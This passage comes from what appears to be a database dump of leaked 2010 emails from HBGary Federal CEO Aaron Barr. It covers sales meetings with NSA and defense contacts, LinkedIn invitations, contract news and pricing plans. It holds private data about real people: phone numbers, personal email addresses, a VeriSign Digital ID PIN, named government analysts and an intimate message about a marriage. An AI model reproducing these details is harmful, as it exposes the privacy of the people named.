meeting on\r\nFriday.  We will meet him at the Fanx facility at 9am on Friday in the\r\nvisitors center.  He offered on his own that he has invited some\r\nsenior folks that can make the right purchasing decisions.  He sees\r\nvalue in what we have to offer.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',12549,'aaron_hbgary_com/12549.html'),(5733,'2010-04-28','\"Tim Estell\" <estellt@saic.com>','/aaron@hbgary.com/new/1297004185.M644396P14101Q589.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Tim Estell has indicated you are a fellow group member of cybernexus:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\nThanks for the talk today. I think it fits well with NANA. Good timing and good content.\r\n\r\n\r\n\r\n- Tim Estell\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Tim Estell\r\n         \r\n     \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',1657,'aaron_hbgary_com/1657.html'),(5734,'2010-04-27','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297004185.M857563P14101Q590.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - SAIC Talk on Aurora','April 27, 2010 4:00 PM : SAIC Talk on Aurora \r\n',11244,'aaron_hbgary_com/11244.html'),(5735,'2010-04-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004185.M94428P14101Q587.eml','\"Bartock, Paul F.\" <p.bartoc@radium.ncsc.mil>,\"Bartock, Paul F.\" <p.bartoc@radium.ncsc.mil>','RE: Introductions - HBGary','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHI Paul\r\n\r\n&nbsp;\r\n\r\nThanks.&nbsp; We can either come to\r\nyour facility OR if there is a hotel around there, you can suggest one.&nbsp; I&#8217;ll\r\nbe coming out from California and am not really familiar with the BWI airport.&nbsp;\r\nAaron, do you know a good place?&nbsp; Also what time is good for you?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bartock, Paul F.\r\n[mailto:p.bartoc@radium.ncsc.mil] \r\nSent: Sunday, April 25, 2010 7:52 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Introductions - HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nMay 10th works for\r\nus, where would you like to meet. If possible like to arrange to meet around\r\nthe BWI airport location. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPaul Bartock\r\n\r\nemail: pfbart2@nsa.gov\r\n\r\n\r\n\r\nphone (410) 854-9860\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, April 15, 2010 2:10 AM\r\nTo: Bartock, Paul F.\r\nSubject: RE: Introductions - HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPaul, \r\n\r\n&nbsp;\r\n\r\nThanks for your response.&nbsp;\r\nThe week of May 10 or 17th are the best right now.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bartock, Paul F.\r\n[mailto:p.bartoc@radium.ncsc.mil] \r\nSent: Tuesday, April 13, 2010 8:48 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Introductions - HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nThanks, would like to arrange a\r\nmeeting, in the mid May timeframe. Please check your schedule and propose several\r\n&nbsp;dates which works the best for you. And I will engage our folks here and\r\nwe will work to meet on one of your proposed &nbsp;dates.\r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\n&nbsp;\r\n\r\nPaul \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPaul Bartock\r\n\r\nemail: pfbart2@nsa.gov\r\n\r\n\r\n\r\nphone (410) 854-9860\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Monday, April 12, 2010 6:36 PM\r\nTo: Bartock, Paul F.\r\nSubject: RE: Introductions - HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPaul,\r\n\r\n&nbsp;\r\n\r\nWe&#8217;d like to schedule a time to\r\nintroduce you to HBGary.&nbsp; We&#8217;ve been working with your agency for some\r\ntime and I think what we are doing can help further the goals inside.&nbsp; I&#8217;m\r\nsure you are incredibly busy, so perhaps a webex would be OK or on site, your\r\nchoice.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ned Miller\r\n[mailto:Ned_Miller@symantec.com] \r\nSent: Friday, April 09, 2010 2:47 PM\r\nTo: p.bartoc@radium.ncsc.mil; Penny Leavy-Hoglund\r\nSubject: Introductions - HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Paul.\r\n\r\n&nbsp;\r\n\r\nIt was great seeing you on Wed. I wanted to take a moment\r\nand introduce you to Penny Leavy, the CEO at HBGary http://www.hbgary.com/\r\n\r\n&nbsp;\r\n\r\nPenny and her team are doing some very interesting work in\r\nthe malware and forensics areas with a unique approach. We recently discussed\r\nthe MITRE MAEC initiative and several other unique areas HBGary may play a role\r\nin the malware detection and analysis arena going forward. I thought the two of\r\nyou would benefit from knowing one another&#8230;\r\n\r\n&nbsp;\r\n\r\nMy\r\nwork is done here&nbsp; ;-) \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNed\r\nMiller&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\nDirector,\r\nPublic Sector Strategy\r\n\r\nSymantec\r\nCorporation\r\n\r\nMobile:\r\n571-314-5245\r\n\r\nwww.symantec.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThis message (including any attachments) is intended only for\r\nthe use of the individual or entity to which it is addressed and may contain\r\ninformation that is non-public, proprietary, privileged, confidential, and\r\nexempt from disclosure under applicable law or may constitute as attorney work\r\nproduct. If you are not the intended recipient, you are hereby notified that\r\nany use, dissemination, distribution, or copying of this communication is\r\nstrictly prohibited. If you have received this communication in error, notify\r\nus immediately by telephone and (i) destroy this message if a facsimile or (ii)\r\ndelete this message immediately if this is an electronic communication. Thank\r\nyou.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13063,'aaron_hbgary_com/13063.html'),(5736,'2010-04-28','\"Scott Sheldon\" <scott.w.sheldon@saic.com>','/aaron@hbgary.com/new/1297004186.M79122P14101Q591.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Scott Sheldon has indicated you are a person they\'ve done business with at SAIC:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Scott Sheldon\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Scott Sheldon\r\n         \r\n     \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',5784,'aaron_hbgary_com/5784.html'),(5737,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004192.M599812P14101Q592.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','BP','Chris,\r\n\r\nAttached is the BP that we turned into the customer at the end of May last year.  Mind you this was pre any of the current mobile capabilities for location based services.  Still nothing like this exists.  They key takeway from a commercial viability perspective for this capability is hitting the untapped small/mid size local business that currently don\'t advertise on the web because its not economical or beneficial.\r\n\r\nOnce I get in the building I will be able to find out more information on where they are going.  In addition be able to scout out different orgs.\r\n\r\nLots more ideas.\r\n\r\n',2822,'aaron_hbgary_com/2822.html'),(5738,'2010-04-28','\"AT&T Virtual Receptionist\" <attnotify@ringcentral.com>','/aaron@hbgary.com/new/1297004195.M13287P14101Q593.eml','\"Aaron Barr\" <aaron@hbgary.com>','New Voice Message from (626) 616-3978 on 04/28/2010 at 04:33 AM','\r\n\r\nYou have voicemail!\r\n\r\nbody {\r\n	/*margin-left: 6px; margin-top:  6px;*/\r\n}\r\n.title {\r\n	background-position: left 50%; padding-left: 10px; font-weight: bold; font-size: 14px; color: #000066; font-family: Arial\r\n}\r\n.blsubtitles {\r\n	padding-left: 10px; font-weight: bold; font-size: 12px; color: #000066; font-family: Arial\r\n}\r\n.lptext {\r\n	background-position: left 50%; padding-left: 10px; padding-right:10px; font-weight: normal; font-size: 12px; color: #000066; font-family: Arial; text-align: left\r\n}\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            \r\n              You Have a New Voice Message\r\n            \r\n          \r\n          \r\n            \r\n							\r\n                \r\n                  From: \r\n                  (626) 616-3978\r\n                \r\n                \r\n                  Received: \r\n                  Wednesday, April 28, 2010 at 04:33 AM\r\n                \r\n                \r\n                  Length: \r\n                  05:01\r\n                \r\n                \r\n                  To: \r\n                  (888) 260-4790 (Aaron Barr)\r\n                \r\n              \r\n						\r\n          \r\n          \r\n            \r\n              \r\n		To listen to this message, please open the attachment or login to your AT&T Virtual Receptionist\r\n		account by clicking  here.\r\n              	Thank you for using AT&amp;T Virtual Receptionist.\r\n							\r\n						\r\n          \r\n        \r\n      \r\n		\r\n  \r\n\r\n\r\n\r\n\r\n\r\n',11295,'aaron_hbgary_com/11295.html'),(5739,'2010-04-28','\"Trae Stephens\" <tstephens@palantirtech.com>','/aaron@hbgary.com/new/1297004195.M356656P14101Q594.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Follow Up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron:\r\n\r\nIt was good to meet with you yesterday at our offices&#8230;good\r\nchat, as always.&nbsp; \r\n\r\nAs requested, here is a list of a few of the folks I work\r\nwith at NTOC that I&#8217;ve been fairly impressed with:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSteve\r\nMeros &#8211; One of the V2 Tech Directors...big time Palantir ally\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRay\r\nAllen &#8211; Another (higher ranking) V2 Tech Director&#8230;forward thinking\r\nguy\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNate\r\nLee &#8211; Really sharp NTOC analyst\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nElijah\r\nUnderwood &#8211; Kind of the &#8220;test bed&#8221; analyst at NTOC&#8230;really\r\nsharp, and provides great feedback\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron\r\nShaha &#8211; Smartest NTOC analyst I&#8217;ve met&#8230;but he&#8217;s not\r\nworking in the malware space\r\n\r\nHopefully that&#8217;s helpful.&nbsp; If you run into any\r\nof these guys, definitely talk up your partnership with Palantir.\r\n\r\nSecondly (as mentioned), I\'d like to personally\r\ninvite you to the next&nbsp;Palantir\r\nNight Live&nbsp;(PNL&#8230;check out the link!)&nbsp;with&nbsp;Andrew McAfee, principal\r\nresearch scientist at the Center for Digital Business in the MIT Sloan School\r\nof Management and author of&nbsp;Enterprise 2.0: New Collaborative Tools for Your Organization\'s\r\nToughest Challenges&nbsp;as he&nbsp;discusses the interplay between humans\r\nand computers in decision-making processes, Moravec\'s Paradox, and resulting\r\nimplications for business processes and organizational design.&nbsp;&nbsp;\r\n\r\nTo read more about this topic, see Andrew\'s\r\nrecent&nbsp;Harvard Business Review&nbsp;post:\r\n\r\nDid Garry Kasparov Stumble Into a New Business Process Model?\r\n\r\n&nbsp;\r\n\r\nAttendance is limited, to allow for a\r\nconducive forum for discussion. Registration is first come, first served. Food\r\nand refreshments will be available.\r\n\r\n&nbsp;\r\n\r\nPlease RSVP by May 10th at: http://pnl20100511.eventbrite.com\r\n\r\n\r\n Please email questions/comments to:&nbsp;pnl@palantirtech.com\r\n Follow&nbsp;@PalantirTech&nbsp;in\r\n     Twitter for news and updates.\r\n Learn more about Palantir Night Live in\r\n     Washington Life Magazine Society 2.0.\r\n\r\n\r\nTuesday, May 11, 5:30-7:30pm EST\r\n\r\nPalantir Technologies\r\n\r\n1660 International Drive\r\n\r\nSuite 800\r\n\r\nMcLean, VA 22102\r\n\r\nI hope you&#8217;ll be able to join us!\r\n\r\nTrae&#8217;\r\n\r\n&nbsp;\r\n\r\nTrae Stephens\r\nPalantir Technologies | Forward Deployed Engineer\r\ntstephens@palantirtech.com | 202.510.2587\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11655,'aaron_hbgary_com/11655.html'),(5740,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004195.M622129P14101Q595.eml','\"Sandy Barr\" <freelybe@hotmail.com>','I was so upset','I didn\'t even say good bye to them.  I didn\'t give them a kiss and I was here.  I just want to god damn scream.  This is so not right for them.  I don\'t think we can improve how we deal with each other.  We need to just separate I think.  But we need to stay here until their school is over, so I am not sure how we do that.  We need apartments I guess so we can afford both.  I can live in a very small place, cheap...I don\'t care.  We are hurting them.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8144,'aaron_hbgary_com/8144.html'),(5741,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004198.M167706P14101Q596.eml','\"Dino Dai Zovi\" <ddz@trailofbits.com>','Re: Update','Fully executed.\r\n\r\n',6037,'aaron_hbgary_com/6037.html'),(5742,'2010-04-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004198.M399044P14101Q597.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Am I way off? LOL','Begin forwarded message:From: T D M &lt;goldilockz@gmail.com&gt;\r\nDate: April 28, 2010 7:16:35 AM MDTTo: ted@hbgary.comSubject: Am I way off? LOL\r\nSo... tell me if I&#39;m on the right track or not. You guys were going to bid on a contract that was right up my alley. Not one week after you found out it was postponed till September, we find out our extension was officially approved and our contract is up in... September. \r\n\r\n\r\n \r\nCoinkydink?\r\n \r\n-Tawny-- ---&quot;My treasures do not clink; they gleam in the sunlight and neigh in the night&quot; - Ancient Bedouin saying\r\n\r\n',7557,'aaron_hbgary_com/7557.html'),(5743,'2010-04-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004198.M599314P14101Q598.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Am I way off? LOL','Begin forwarded message:From: T D M &lt;goldilockz@gmail.com&gt;\r\nDate: April 28, 2010 7:27:40 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Am I way off? LOL\r\nI&#39;m not lol. After yesterday&#39;s all-hands, I almost walked out for good. Was that contract you were going to bid on anything (or exactly?) like what I am doing now? \r\nOn Wed, Apr 28, 2010 at 7:25 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nSounds like fate. Glad to hear that the extension was approved.\r\n\r\n\r\nOn Apr 28, 2010, at 7:16 AM, T D M &lt;goldilockz@gmail.com&gt; wrote:&gt; So... tell me if I&#39;m on the right track or not. You guys were going\r\n\r\n&gt; to bid on a contract that was right up my alley. Not one week after&gt; you found out it was postponed till September, we find out our&gt; extension was officially approved and our contract is up in...&gt; September.\r\n\r\n&gt;&gt; Coinkydink?&gt;&gt; -Tawny&gt;&gt; --&gt;&gt; ---&gt; &quot;My treasures do not clink; they gleam in the sunlight and neigh in&gt; the night&quot; - Ancient Bedouin saying\r\n\r\n-- ---&quot;My treasures do not clink; they gleam in the sunlight and neigh in the night&quot; - Ancient Bedouin saying\r\n\r\n',9468,'aaron_hbgary_com/9468.html'),(5744,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004198.M928029P14101Q599.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Just got word','NG contract extension has been officially approved, contract now ends in September.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2434,'aaron_hbgary_com/2434.html'),(5745,'2010-04-28','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004199.M210716P14101Q600.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Just got word','Great, that gives us some time to shop the whitepaper around.\r\n\r\nChris \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28, 2010 9:32 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Just got word\r\n\r\nNG contract extension has been officially approved, contract now ends in\r\nSeptember.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5887,'aaron_hbgary_com/5887.html'),(5746,'2010-04-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004199.M455492P14101Q601.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Am I way off? LOL','Begin forwarded message:From: T D M &lt;goldilockz@gmail.com&gt;\r\nDate: April 28, 2010 7:33:48 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Am I way off? LOL\r\nDo you need anything specific for the ARSTRAT bid? I can work on some pieces more suited for it. Joy wants to know what the dollar amount is as she stands over my shoulder drinking carrot juice. :P\r\n \r\nI was upset after the all hands because we are being lied to left and right, and people keep drinking Dan&#39;s kool aid. They explain away all of his inconsistencies and talk to us like we&#39;re stupid for questioning anything.\r\n\r\n\r\n \r\nOff topic... the iPad. Can you download software to it, like say Photoshop, and use a pen? lol\r\nOn Wed, Apr 28, 2010 at 7:29 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\nWhy were you upset after the all hands?\r\n\r\nVery similar effort, different customer. Proposal rescheduled for Sept.  \r\n\r\nWe still have the ARSTRAT one in July. \r\n\r\n\r\n\r\n\r\nOn Apr 28, 2010, at 7:27 AM, T D M &lt;goldilockz@gmail.com&gt; wrote:\r\n\r\n\r\nI&#39;m not lol. After yesterday&#39;s all-hands, I almost walked out for good. Was that contract you were going to bid on anything (or exactly?) like what I am doing now? \r\nOn Wed, Apr 28, 2010 at 7:25 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\nSounds like fate. Glad to hear that the extension was approved.\r\n\r\n\r\nOn Apr 28, 2010, at 7:16 AM, T D M &lt;goldilockz@gmail.com&gt; wrote:\r\n&gt; So... tell me if I&#39;m on the right track or not. You guys were going\r\n&gt; to bid on a contract that was right up my alley. Not one week after&gt; you found out it was postponed till September, we find out our&gt; extension was officially approved and our contract is up in...&gt; September.\r\n\r\n&gt;&gt; Coinkydink?&gt;&gt; -Tawny&gt;&gt; --&gt;&gt; ---&gt; &quot;My treasures do not clink; they gleam in the sunlight and neigh in&gt; the night&quot; - Ancient Bedouin saying\r\n\r\n-- ---&quot;My treasures do not clink; they gleam in the sunlight and neigh in the night&quot; - Ancient Bedouin saying\r\n\r\n-- ---&quot;My treasures do not clink; they gleam in the sunlight and neigh in the night&quot; - Ancient Bedouin saying\r\n\r\n',14839,'aaron_hbgary_com/14839.html'),(5747,'2010-04-28','\"VeriSign Customer Support Department\" <ID-support@verisign.com>','/aaron@hbgary.com/new/1297004199.M728862P14101Q602.eml','aaron@hbgary.com','Class 1 VeriSign Digital ID Installation Instructions','IMPORTANT - INSTALLATION INSTRUCTIONS FOR YOUR NEW VERISIGN DIGITAL ID\r\n------------------------------------\r\n\r\nDear VeriSign Digital ID Holder:\r\n\r\nThank you again for choosing a Digital ID from VeriSign designed to provide the best S/MIME email security for encrypting and digitally signing documents online.\r\n\r\nTo complete setup and installation of your VeriSign Digital ID, please follow the instructions below. You must use the same computer you used to begin the process.\r\n\r\n1.  Please copy your Digital ID PIN number: a731c663cb5effc39711cd68abfc3908\r\n\r\n2.  Go to VeriSign\'s secure Digital ID Center https://digitalid.verisign.com/enrollment/nspickup.htm\r\n\r\n3.  Paste (or enter) your Digital ID PIN where requested, then select the Submit button to install your Digital ID.\r\n\r\nYour VeriSign Digital ID is now installed on your machine and is ready for use to encrypt and digitally sign documents online.\r\n\r\nPlease feel free to visit our Frequently Asked Questions (FAQs) if you have additional questions at http://www.verisign.com/support/class1/index.html or contact us at ID-support@verisign.com.\r\n\r\nThank you again for choosing the VeriSign Digital ID, the best in class PKI for secured encryption and signing.\r\n\r\nVeriSign Customer Support\r\nID-support@verisign.com\r\nwww.verisign.com\r\n\r\n\r\n***************************************************************\r\nSPECIAL NOTE TO OUR INTERNATIONAL CUSTOMERS:  International customers may be able to obtain direct local support through a VeriSign Affiliate. Please visit http://www.verisign.com/international/class1.html to find out if there is a VeriSign Affiliate servicing your country.\r\n***************************************************************\r\n',15181,'aaron_hbgary_com/15181.html'),(5748,'2010-04-28','\"VeriSign Customer Support Department\" <id-support@verisign.com>','/aaron@hbgary.com/new/1297004199.M936264P14101Q603.eml','aaron@hbgary.com','Secure your E-mail with your Digital ID','Dear VeriSign Digital ID Holder:\r\n\r\nThank you for choosing a Digital ID from VeriSign designed to provide the best S/MIME email security for encrypting and digitally signing documents online.\r\n\r\nYour VeriSign digital certificate uses the latest PKI technology to ensure data integrity and protection against identity and privacy theft online. To learn more about your VeriSign Digital ID, please visit http://www.verisign.com/support/tlc/per/clientHelp/help/index.htm now.\r\n\r\nThank you again for choosing VeriSign and we look forward to serving your security needs.\r\n\r\nVeriSign Customer Service\r\n\r\n***************************************************************\r\nSPECIAL NOTE TO OUR INTERNATIONAL CUSTOMERS:  International customers may be able to obtain direct local support through a VeriSign Affiliate. Please visit http://www.verisign.com/international/class1.html to find out if there is a VeriSign Affiliate servicing your country.\r\n***************************************************************\r\n',2476,'aaron_hbgary_com/2476.html'),(5749,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004200.M169126P14101Q604.eml','ddz@trailofbits.com','test','',11305,'aaron_hbgary_com/11305.html'),(5750,'2010-04-28','\"Jeff m\" <jeffmac710@gmail.com>','/aaron@hbgary.com/new/1297004200.M428225P14101Q605.eml','\"Vera Ted\" <tedvera@mac.com>,\"Aaron Barr\" <adbarr@mac.com>,\"Aaron Barr\" <aaron@hbgary.com>','Work stuff','I guess it&#39;s time.  So whenever you guys have so time to sit down and chat let me know.thanksjeff\r\n',14665,'aaron_hbgary_com/14665.html'),(5751,'2010-04-28','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004200.M771106P14101Q606.eml','\"Jeff m\" <jeffmac710@gmail.com>,\"Jeff m\" <jeffmac710@gmail.com>,,','Re: Work stuff','Want to do lunch tomorrow? Olive Garden?\r\n\r\n\r\n\r\nOn Apr 28, 2010, at 8:21 AM, Jeff m  wrote:\r\n\r\n> I guess it\'s time.  So whenever you guys have so time to sit down  \r\n> and chat let me know.\r\n>\r\n> thanks\r\n> jeff\r\n',741,'aaron_hbgary_com/741.html'),(5752,'2010-04-28','\"Dino A. Dai Zovi\" <ddz@trailofbits.com>','/aaron@hbgary.com/new/1297004201.M285279P14101Q608.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: test','',13184,'aaron_hbgary_com/13184.html'),(5753,'2010-04-28','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004201.M53922P14101Q607.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Work stuff','Begin forwarded message:From: Jeff m &lt;jeffmac710@gmail.com&gt;Date: April 28, 2010 9:06:46 AM MDTTo: Ted Vera &lt;tedvera@me.com&gt;Subject: Re: Work stuffSure, what time?&nbsp; 11 ish.Well, two things.&nbsp; We had another, \"Romas is messing up\" meeting, although the IRADS are not part of the romas problem they still have us go.&nbsp; Then the other thing is that I\'ve finalized the questions I have that I want to ask you guys about so I can get a better understanding as to the direction I want to pursue.\r\njeffOn Wed, Apr 28, 2010 at 8:25 AM, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nWant to do lunch tomorrow? Olive Garden?\r\n\r\n\r\n\r\nOn Apr 28, 2010, at 8:21 AM, Jeff m &lt;jeffmac710@gmail.com&gt; wrote:\r\n\r\n\r\nI guess it\'s time. &nbsp;So whenever you guys have so time to sit down and chat let me know.\r\n\r\nthanks\r\njeff\r\n\r\n\r\n\r\n',9542,'aaron_hbgary_com/9542.html'),(5754,'2010-04-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004201.M654809P14101Q609.eml','\"Kitchen, Torri E (TASC)\" <Torri.Kitchen@TASC.COM>','Re: Signed NDA - COIN','Hi Torri,DId you send me back an executed copy of the TA? &nbsp;I have the NDA.AaronOn Apr 22, 2010, at 11:01 AM, Kitchen, Torri E (TASC) wrote:\r\n\r\nGood morning Aaron, Attached is a fully executed copy of the NDA for your records. Regards,  &lt;&lt;Signed NDA_COIN.pdf&gt;&gt; Torri Kitchen Subcontract Administrator\r\nTASC, Inc.\r\n4803 Stonecroft Blvd.\r\nChantilly, VA 20151\r\nPH: 703-449-3726Fax: 978-684-7632\r\n\r\nPROPRIETARY INFORMATIONThis e-mail, including attachments, may include confidential and/or proprietary information, to TASC, Inc. and may be used only by the person or entity to which it is addressed. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you have received this e-mail in error, please notify the sender by replying to this message and delete this e-mail immediately.\r\n\r\n\r\n&lt;Signed NDA_COIN.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2335,'aaron_hbgary_com/2335.html'),(5755,'2010-04-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004201.M879003P14101Q610.eml','\"Scott Pease\" <scott@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Release Schedule','Hi Scott,\r\n\r\nWe have a DOD customer who is very interested in the new feature that\r\nwill allow running Digital DNA against static binaries.  Greg said he\r\nthought this would be included in the next release, which he thought was\r\n2-4 weeks away.\r\n\r\nCan you confirm if this feature will be included, and when it is\r\nscheduled for release?\r\n\r\nThanks,\r\nTed\r\n',13682,'aaron_hbgary_com/13682.html'),(5756,'2010-04-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004202.M81909P14101Q611.eml','\"Aaron Barr\" <aaron@hbgary.com>','REcon budgetary pricing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHere is my view of pricing for this opportunity.&nbsp; We\r\nshould NOT send them this doc in advance or hand it to them during the meeting,&nbsp;\r\nIt is too soon in the sales process.&nbsp; Let&#8217;s have the meeting.&nbsp;\r\nLearn even more about their needs.&nbsp; Do the presentation and demo.&nbsp; We\r\nsize up their needs.&nbsp; Looks like the needs continue to include more\r\ngroups.&nbsp; They are likely to throw in new ideas or even other\r\nfeatures.&nbsp; Let&#8217;s get all of that dialogue on the table.&nbsp; THEN\r\nlet&#8217;s DISCUSS pricing to see how they react.&nbsp; After we get all that\r\ninput we come back with a customize proposal that includes what we 